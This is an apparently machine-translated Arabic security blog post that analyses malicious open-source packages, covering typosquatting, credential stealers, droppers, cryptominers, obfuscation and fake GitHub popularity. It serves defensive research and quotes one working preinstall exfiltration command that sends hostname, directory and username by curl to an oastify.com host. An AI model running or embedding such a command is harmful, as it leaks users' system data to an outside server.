في الحلقة السابقة , الحزم الضارة مفتوحة المصدر: المشكلةناقشنا سبب كون الجهات التهديدية على هذا النحو متحمس لنشر مكونات ضارة جديدة أو حقن برامج ضارة في أحدث الإصدارات من المكونات الموجودة: البنية التحتية مفتوحة المصدر تسمح لأي شخص في أي مكان بإنشاء حساب سريع الزوال في سجل المكونات (مثل NPM أو PyPI أو Docker Hub أو Visual Studio Marketplace) أو منصة التطوير التعاوني (مثل GitHub). تكلفة صفر، والعديد من الفرص للاستفادة من الثقة الزائدة التي تتمتع بها فرق البرامج تقليديًا في مكونات الطرف الثالث.
عدم التماثل بين مدى سهولة قيام المهاجمين بتوزيع البرامج الضارة باستخدام البنية التحتية المتاحة للمصادر المفتوحة، ومدى صعوبة قيام المؤسسات التي تقوم بتطوير البرامج (الجميع؟) بتجنب الإصابة بالبرامج الضارة (وتوصيل البرامج الضارة في البرامج التي توزعها من أجلها) أخرى)، مما أدى إلى وصول الحزم الضارة إلى ما يقرب من ربع مليون علامة في العام الماضي.
هذه مشكلة من الضخامة بحيث لا تستطيع أي منظمة حلها بمفردها، والمجتمع بصدد إعادة صياغة عملية المصدر المفتوح فيما يتعلق بالثقة ومبادئ الأمان الافتراضي والآمن حسب التصميم ودورة حياة المكونات. وسوف نلقي نظرة على هذه الأفكار في الحلقة القادمة الحماية من الحزم الضارة مفتوحة المصدر: ما الذي ينجح (لا) يعمل.
تذكر أننا نتحدث عن مكونات البرامج التي تتوافق معها في أغلب الأحيان باقات البرامج المحوسبة: تم تجميع المكونات القابلة لإعادة الاستخدام بحيث يمكن الرجوع إليها باعتبارها تبعية في بيان البرنامج، وتثبيتها باستخدام مدير الحزم أو أداة الإنشاء. يرجى ملاحظة أنه يمكن توسيع هذه الحالة لتشمل الجمهور صور الحاوية (المستخدم في أوقات تشغيل الحاويات ومنصات التنسيق مثل Kubernetes)، و ملحقات لأدوات البرمجيات (للبناء والأتمتة والنشر).
هنا نقوم بتحليل كيفية ذلك تكتيك الهجوم على أساس المكونات الضارة يعمل، وفقًا للأمثلة السابقة وما رأيناه في منصتنا للتحذير المبكر من البرامج الضارة (وزارة الكهرباء والمياه). سنقوم بتحليل المكونات الضارة بأبعاد مختلفة:
(1) الطريقة المختارة للتوزيع (السجل المستخدم في مكون جديد أو موجود، والتقنية المستخدمة لإصابة إصدار المكون المنشور)، (2) كيفية تنشيط البرامج الضارة أو تشغيلها، (3) السلوك الضار، أي ما هي الإجراءات الضارة التي يتم ملاحظتها وما هو دافع المهاجم، (4) ما هي الأساليب الشائعة للتعتيم والاختباء لعدم ملاحظة أي حركة جانبية والتواصل مع مضيفي القيادة والتحكم (C2)، وما إلى ذلك؛ و(5) تقنيات اكتساب ما يكفي من الشعبية والثقة حتى ينتهي الأمر بالضحايا إلى تثبيت المكون.
تم اختيار آلية التوزيع
نلاحظ "ضجيج في الخلفية" من الحزم الضارة غير المتطورة التي تستخدم تقنية typosquatting للتصيد الاحتيالي على المطورين غير الحذرين من خلال خطأ مطبعي في اسم الحزمة لتبعيتهم. تتلقى العديد من الحزم الشائعة وابلًا من الحزم ذات الأسماء المتشابهة التي تحتوي على أخطاء مطبعية، مع توقع أنها سوف تقوم بالتصيد الاحتيالي لبعض المطورين غير الحذرين.
إنهم يستخدمون حسابًا سريع الزوال، وينشرون مجموعة من الحزم المطبعية، وينشئون أخرى، وينشرون مجموعة أخرى... باستخدام بعض الأتمتة والإبداع يمكنهم الحصول على بعض التطور، لكنها عادةً ما تكون تافهة إلى حد ما. نحن نسميهم داخليا "الأنشوجة". إن سرقة بيانات الاعتماد هي الهدف الرئيسي، ولكن في بعض الأحيان نجد برامج تجسس تقوم بتسريب كود المصدر أو البيانات الحساسة مثل معلومات التعريف الشخصية (PII)، والتقاط الحافظة، وغيرها من المخاوف.
فجأة نرى مكونات خبيثة أكثر تطوراً، تسمى "أسماك القرش". يتم استهداف أقلية لمجموعات أو منظمات محددة، عادةً من خلال أدوات تجفيف العملات المشفرة أو كاشطات الويب التي يتم تنشيطها بشكل مشروط، ربما باتباع النهج الموضح في حادث تيار الحدث لا يتم فك تشفير حمولة الهجوم إلا عند الإشارة إلى الحزمة من الحزمة المستهدفة.
تم تحليل آلية التوزيع في الورقة الممتازة والكلاسيكية الآن، "مجموعة سكاكين Backstabber: مراجعة لهجمات سلسلة توريد البرامج مفتوحة المصدر"، وهو أمر لا بد منه للقراءة. من المؤكد أنك رأيت هذا المخطط الجميل من قبل:
تم استكشاف كافة السبل، بما في ذلك الحزم الجديدة والحالية؛ التأثير على الكود المصدري، أو نظام البناء، أو المكون المعبأ نفسه؛ استخدام بيانات الاعتماد المسروقة أو الهندسة الاجتماعية؛ اختطاف الحسابات والمستودعات المهجورة أو تسميم الحسابات والمستودعات المحفوظة. تلقت بعض الهجمات أسماء (Typosquatting, ارتباك التبعية, الارتباك الواضح, سرقة الريبو. إلخ) وقد نوقشت بالفعل في مكان آخر.
ماذا عن السجلات المختارة؟
يستمر NPM في الريادة في العدد الإجمالي للحزم الضارة، لكننا شهدنا ارتفاعًا كبيرًا بدءًا من هذا العام على PyPI. بايثون هو نظام بيئي شائع لعلوم البيانات والتعلم الآلي. في الواقع، أصبحت كثافة البرامج الضارة الآن أعلى في PyPI منها في NPM.
كيف يتم تشغيل البرامج الضارة
يتم تشغيل الحزم الضارة أثناء التثبيت في 4 حالات فقط من أصل 10 (في السنوات الأخيرة كانت قريبة من 6 من أصل 10). أما الباقي فينفذ سلوكًا ضارًا في وقت التشغيل، حيث يتم تشغيل 1 من أصل 100 أثناء إجراء الاختبارات. يبدو أن الخصوم يعرفون أنه تم تعطيل التنفيذ غير المنضبط لنصوص التثبيت في العديد من الأماكن.
ما الذي يحصل عليه الأشرار؟
سنقوم بإدراج فئات السلوك الضار، مع الأكثر شيوعًا أولاً. يرجى ملاحظة أن التأثير قد يكون مختلفًا تمامًا: أ ممسحة وهو أمر مدمر بشكل عنيد، ولكنه ليس شائعًا ولم يُشاهد إلا في حالات قليلة، ويرتبط بحملات الحرب السيبرانية المستهدفة أو القرصنة الوحشية. الفئات التالية شائعة جدًا:
- سرقة المعلومات / تجفيف بيانات الاعتماد. الأكثر شيوعًا، أكثر من 90% من الهجمات غير المتطورة هي لصوص بسيطون يبحثون بشكل أساسي عن بيانات الاعتماد مثل كلمات المرور ورموز الوصول ومفاتيح API والمفاتيح الخاصة (لـ SSH وما شابه). ربما تكون أبسط طريقة للكتابة (جنبًا إلى جنب مع المساحات؟). يقومون بتعداد الملفات/الدلائل المعروفة والمصادر الأخرى (مثل مفاتيح التسجيل)، وحزم المحتويات، وإرسال تلك البيانات إلى خادم C2. الفكرة بسيطة: "أقوم بنشر أداة سرقة بيانات اعتماد التصيد الاحتيالي، حتى أتمكن لاحقًا من استخدام بيانات الاعتماد لشن هجوم موجه".
عادةً ما تكون شبكات C2 التي تمت ملاحظتها رخيصة وقذرة، مثل قنوات Telegram أو أدوات حفر الأنفاق الشبيهة بـ ngrok (غالبًا ما يكون ذلك في شكل وكلاء عكسيين مكشوفين من خلال عناوين IP الخاصة بخروج VPN). هناك المئات (!) من الاحتمالات، مع وجود العديد من مشاريع GitHub ضمن نطاق موضوع سرقة كلمة المرور. تعد التخصصات مثل برامج تسجيل المفاتيح نادرة بالنسبة للحزم الضارة وصور الحاويات، ولكنها أكثر شيوعًا في ملحقات الأدوات، حيث يُتوقع تفاعل المستخدم.
- القطارة / تنزيل. الثانية من حيث الشعبية، وعادةً ما تأتي في المرتبة الأولى في الهجمات متعددة المراحل. يحتوي أكثر من واحد من كل ثلاثة مكونات ضارة على برامج إسقاط (إذا كانت الحمولة الضارة مضمنة داخل الحزمة) أو أدوات تنزيل (يتم تنزيل الحمولة من نقطة نهاية تحت سيطرة المهاجم). غالبًا ما تكون الحمولة عبارة عن متغير معروف للبرامج الضارة الثنائية، ويتم تشغيلها وتستمر في بعض الأحيان، لتثبيت الأبواب الخلفية وبرامج التجسس ومصرفي التشفير وحالات الاستخدام الأخرى. تبدأ الحمولة التي تم تنزيلها أو نشرها هجوم المرحلة الثانية بكل القوة التي توفرها ثنائيات البرامج الضارة الموجودة. يمكن توزيع الثنائيات داخل الحزمة، وغالبًا ما تكون متخفية في صورة صور أو أنواع ملفات يفترض أنها غير ضارة، لتجنب اكتشافها أثناء الاتصال بمواقع غير متوقعة.
- سارقو / عمال المناجم. إن الخصوم ذوي الدوافع المالية على استعداد لاستخدام أصولك السحابية لتشغيل أدوات تعدين العملات المشفرة (حتى أنهم يكتشفون ما إذا كانوا يعملون في جهاز افتراضي سحابي). إنهم لا يهتمون نسبة الربح منخفضة 1 دولار لكل 53 دولارًا يتم تحصيلها من الضحية مقابل البنية التحتية السحابية المسروقة. قد لا يكون الضحايا على علم بذلك حتى يتلقوا فاتورة غير متوقعة. ولحسن الحظ، هذا يأتي ويذهب. Cryptojacking تظهر أحيانًا حملات في حزم ضارة ثم تتلاشى، مما يؤدي إلى التصيد الاحتيالي لمستخدمي المحفظة أو استهداف موفر المحفظة في النهاية، كما هو الحال في هجوم دفتر الأستاذ.
السلوكيات الأخرى، مثل نشر أ الباب الخلفي أصبح تنفيذ التعليمات البرمجية عن بعد عن طريق فتح غلاف عكسي أقل تكرارًا الآن مما كان عليه في الماضي. على سبيل المثال، 123rf_contributor_web يتم فتح الحزمة (التي تمت إزالتها الآن من التسجيل) دون أي تشويش، حيث يتم نسخ الغلاف العكسي ولصقه من ملف عكس ورقة الغش شل:
بالإضافة إلى المكونات المشروعة والخبيثة، لاحظنا العديد من الانتهاكات، بما في ذلك:
حزم البريد العشوائي
هناك الآلاف من الحزم الصغيرة، معظمها في NPM، بدون برامج ضارة ولكنها واعدة بأرباح سهلة، وزيت الثعبان، وروابط لعروض الفياجرا، وكل ذلك. ينشر عدد قليل من المستخدمين مثل هذه الرسائل غير المرغوب فيها ويأخذون قدرًا كبيرًا من النطاق الترددي من السجل. حاول ممثل (ممثلون) آخر ربما من إندونيسيا الاستفادة من ذلك إساءة استخدام الشاي مخصص لتعويض مطوري المصادر المفتوحة، من خلال إنشاء عشرات الآلاف من حزم NPM المترابطة مع مستودعات GitHub الوهمية ذات الصلة. وهذا انتهاك واضح لشروط الاستخدام.
مكافآت الأخطاء وخدع الأبحاث الأمنية
عندما تصف الحزمة نفسها بأنها تقوم بتسريب البيانات لأغراض جيدة، مثل اكتشاف العيوب الأمنية لبرامج مكافأة الأخطاء أو البحث في جوانب معينة من النظام البيئي. لقد رأينا آلاف الحزم في هذه الفئة، والتي تجلب بيانات التعريف ولكنها ليست حساسة للغاية إلى عنوان Burp Collaborator من PortSwigger (على سبيل المثال المضيف في نطاق oastify.com). لقد لاحظنا في كثير من الأحيان وجود نسخ مقلدة لـ ارتباك التبعية إثبات المفهوم بواسطة Alex Birsan، مثل aurora-webmail-pro الحزمة (التي تمت إزالتها من السجل)، والتي تقوم ببساطة بتشغيل هذا الرمز السيئ في البرنامج النصي للتثبيت المسبق:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")
وضمت أيضاً "هذا هو إثبات المفهوم لهجوم ارتباك التبعية البسيط"وصف إخلاء المسؤولية في package.json. ويعد هذا انتهاكًا واضحًا لشروط الخدمة، حتى بدون نية خبيثة.
بعض الأخبار الجيدة؟ لم نشهد (حتى الآن) هجمات برامج الفدية التي يتم تنفيذها من خلال مكونات ضارة. لأسباب غير معروفة، يبدو أن مجرمي الإنترنت يفضلون المزيد من عمليات التصيد الاحتيالي عبر البريد الإلكتروني التقليدية، وآليات تسليم التنزيلات المستندة إلى RDP.
تقنيات إضافية لوحظت
تم استخدام العديد من التقنيات للمثابرة والتهرب الدفاعي وجمع المعلومات والتواصل مع مضيفي القيادة والتحكم والتسلل.
إصرار يتم الحصول على المكونات الضارة باستخدام ميزات الثبات الموجودة في البرامج الضارة الثنائية في المرحلة الثانية، ولكن في بعض الأحيان يكون السلوك موجودًا في رمز الحزمة، وتكون المهام المجدولة والتغييرات في سجل Windows هي الأكثر شيوعًا.
التشويش أمر شائع، ولكن غير معقدة. معظم الحزم المطبعية (تذكر "الأنشوجة"؟) لا تستخدم التشويش على الإطلاق؛ يستخدم العديد منهم إما شفرات تافهة (تشفير base64/hex أو شفرات بديلة مثل rot13) أو يستخدمون أدوات تشويش وتصغير التعليمات البرمجية المتاحة، والتي يمكن عكسها بسهولة باستخدام الأدوات المناسبة. فقط "أسماك القرش" هي التي تقوم بالتشويش الحقيقي والصارم، ومن الصعب إجراء هندسة عكسية لها.
قد يؤدي التشويش إلى إخفاء الهجوم، ولكن لماذا يجب حجب التعليمات البرمجية الموجودة في مكون مفتوح المصدر؟ هل هناك دليل على ضرورة إخفاء شيء ما عن الأنظار؟ لقد وجدنا العديد من الأمثلة على الحزم غير الضارة التي تستخدم التشويش لحماية الملكية الفكرية، وهو ما يتعارض مع "المصدر المفتوح". يمكن استخدام التشويش كدليل على وجود برامج ضارة، لكنه ليس قاطعًا. ومن الصعب أيضًا إزالة التشويش.
التهرب من ضوابط الدفاع تتبنى تقنيات بسيطة. غالبًا ما تتم حماية التعليمات البرمجية الضارة في حاول ... قبض الكتل التي تتجاهل أي استثناءات، لذلك لا يتم عرض النشاط غير الطبيعي في السجلات. يعد التحقق من البيئة (الذي يعمل في جهاز افتراضي أو حاوية) أمرًا نادرًا، إلا في حالة وجود برامج ضارة تستهدف مؤسسة أو بيئة معينة.
كان إخفاء الثنائيات في الصور وملفات PDF (نوع من إخفاء المعلومات) أسلوبًا آخر يُنظر إليه على أنه يتجنب اكتشافه.
نظرًا لأن المكونات الضارة الأكثر شيوعًا هي سرقة المعلومات، جمع البيانات ضروري. يتم فحص الأسرار (كلمات المرور، ورموز الوصول، ومفاتيح واجهة برمجة التطبيقات، ومفاتيح التشفير) بشكل روتيني في ملفات السجل، ومتغيرات البيئة، وحتى الحافظة (التي تظهر مع أحصنة طروادة المصرفية وسارقي العملات المشفرة). يعد استخراج كود المصدر أمرًا شائعًا أيضًا، حيث يتم تثبيت الحزمة غالبًا في عقدة تطوير حيث قد يتم استنساخ مستودعات git الداخلية. لقد رأينا حزمًا تعداد الأدلة بحثًا عن مستودعات git. يعد البحث عن مواقع مثل .env، أو Private.pem، أو settings.py، أو app.js، أو application.properties أمرًا شائعًا جدًا.
الترشيح هو إجراء آخر منتشر على نطاق واسع. فقط عدد قليل من الحزم الضارة تحاول إخفاء وجهة البيانات المستخرجة. قنوات التليجرام و أنفاق تشبه نجروك غالبا ما تستخدم. وهناك الكثير عادةً ما يتم استخدام نطاقات القائمة البيضاء للترشيح.
وكانت التقنيات الأخرى، مثل تصعيد الامتيازات أو الحركة الجانبية، أقل شيوعًا.
اكتساب الشعبية والثقة
تخيل محتالًا تقنيًا يحمل شيئًا خبيثًا قاتلًا جاهزًا يتساءل: "كيف أصنع هذه القطعة من #$! جدير بالثقة لأولئك الحمقى الغافلين؟”.
يُترجم ذلك إلى كيفية جعل الإدخال الخاص بالمكون الضار يظهر العديد من النجوم / الشوكات (للشعبية)، بالإضافة إلى الإصدارات / المشكلات و pull requests (للنشاط). الفكرة هي الحصول على شعبية خيالية (نجوم) وتابعين، ونظرة مقنعة فيما يتعلق بالأهمية والصيانة.
لا يتحقق السجل من تطابق محتويات مشروع GitHub ومحتويات الحزمة. هذه مشكلة معروفة في سلسلة توريد البرامج. السجلات العامة عبارة عن مجاري عملاقة تبتلع كل ما يُلقى عليها. يمكنك ربط أي مستودع.
إذا كانت الحزمة الضارة تعاني من خطأ مطبعي شائع، فهذا أمر سهل: ما عليك سوى الرجوع إلى مستودع GitHub الموجود في بيان التبعيات المستخدم لإنشاء الحزمة ونشرها في السجل. بالنسبة للحزم الجديدة على مستودع GitHub المزيف، قد تحتاج إلى مزيد من البراعة، وربما إنشاء حزم مزيفة مراقبة النجوم / التفرع حسابات GitHub عبر البرمجة النصية.
وإذا كانت محتويات الحزمة الخاصة بك مشابهة إلى حد معقول لمستودع الريبو، فقم بإدخال بعض التغييرات المصممة جيدًا هنا وهناك... يمكنك إدخال البرامج الضارة الخاصة بك في حزمة جديدة تشبه حزمة شائعة تشير إلى مستودع الحزمة الحالية، وانتظار الأخطاء المطبعية . إذا تجرأ أي شخص على مقارنة محتويات حزمة القطران مع محتويات مستودع GitHub، فيمكن بسهولة تفويت الاختلافات في نقاط حقن البرامج الضارة. لقد رأينا هذا النهج عدة مرات من قبل.
آلية للمكون لتقديم بيان مقاوم للتلاعب حول المصدر، وكيف تم بناء الحزمة، ومن أي مصادر، ومن الذي سيكون موضع ترحيب. لكن هذه قصة أخرى.
هل المكون X ضار؟
هل توجد قاعدة بيانات (شاملة) للحزم الضارة؟ لا. يتم تعيين معرف CVE للثغرات مفتوحة المصدر، ولكن يتم تعيين معرف لعدد قليل فقط من الحزم الضارة (خاصة تلك التي تتصدر العناوين الرئيسية). CWE للحزم الضارة هو سي دبليو إي-506 (رمز ضار مضمن).
لا تضع أدوات البرامج الضارة المعتادة (VirusTotal، وMalwareBazaar، وSOREL-20M...) أحكامًا محددة للمكونات الضارة. سيكون ذلك موضع ترحيب!
توجد قواعد بيانات لنماذج البحث ومجموعات بيانات للتحليل (نستخدم عددًا قليلًا منها)، ولكن لا يتم تحديث الإدخالات إلا عندما تكون الحزمة الضارة معروفة، وهو ما يكون متأخرًا جدًا في كثير من الأحيان. إذا كنت مهتمًا، فإن OpenSSF الحزم الخبيثة هي بداية جميلة.
في المقالة التالية، سنناقش كيفية معرفة ما إذا كانت حزمة معينة ضارة أم لا. حرق: نعم، هناك طرق للتحقق من المكونات الضارة مبكرًا أثناء نافذة التعرض، قبل أن يقوم السجل بإزالة مكون ضار معروف.
لمزيد من القراءة
في الحلقة القادمة"الحماية من الحزم الضارة مفتوحة المصدر: ما الذي ينجح (لا) يعمل" سنناقش ما يجب فعله وما لا يجب فعله فيما يتعلق بأمان المصادر المفتوحة. معظم المتخصصين في مجال الأمن لديهم حدس حول كيفية التعامل مع هذا التهديد، ولكن المفاهيم الخاطئة كثيرة.
سنراجع سبب خطأ هذه الأفكار، وكيف تساهم هذه المفاهيم الخاطئة في شعبية آلية الهجوم هذه، وفي المخاطر الهائلة التي تواجهها المؤسسات. سوف ننتقل بعد ذلك إلى ما ينجح، وهو الجهد والموارد المستخدمة.
وسننشر أيضًا عن تطور الحزم الضارة من حيث نواياها وآلية الحقن وتقنيات الهجوم.
ترّقب!





